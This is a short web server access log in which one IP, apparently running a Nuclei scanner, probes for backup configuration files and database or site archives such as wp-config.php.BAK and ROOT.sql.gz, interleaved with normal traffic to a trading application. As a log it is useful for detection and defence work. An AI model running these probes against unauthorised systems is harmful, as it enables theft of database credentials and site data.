[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.z HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927445873 HTTP/1.1" -
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.war HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.tar HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.7z HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927458520 HTTP/1.1" -
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.gz HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.lz HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.rar HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927444804 HTTP/1.1" -
[09/Jan/2026:10:52:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.xz HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.zip HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.z HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.Z HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.tgz HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.db HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.jar HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:52:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.z HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.war HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.tar HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.7z HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927451023 HTTP/1.1" -
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.gz HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.lz HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.rar HTTP/1.1" 196
[09/Jan/2026:10:52:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927463587 HTTP/1.1" -
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.xz HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.zip HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.z HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927449823 HTTP/1.1" -
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.Z HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.tgz HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.db HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.jar HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sqlite HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.blank HTTP/1.1" 196
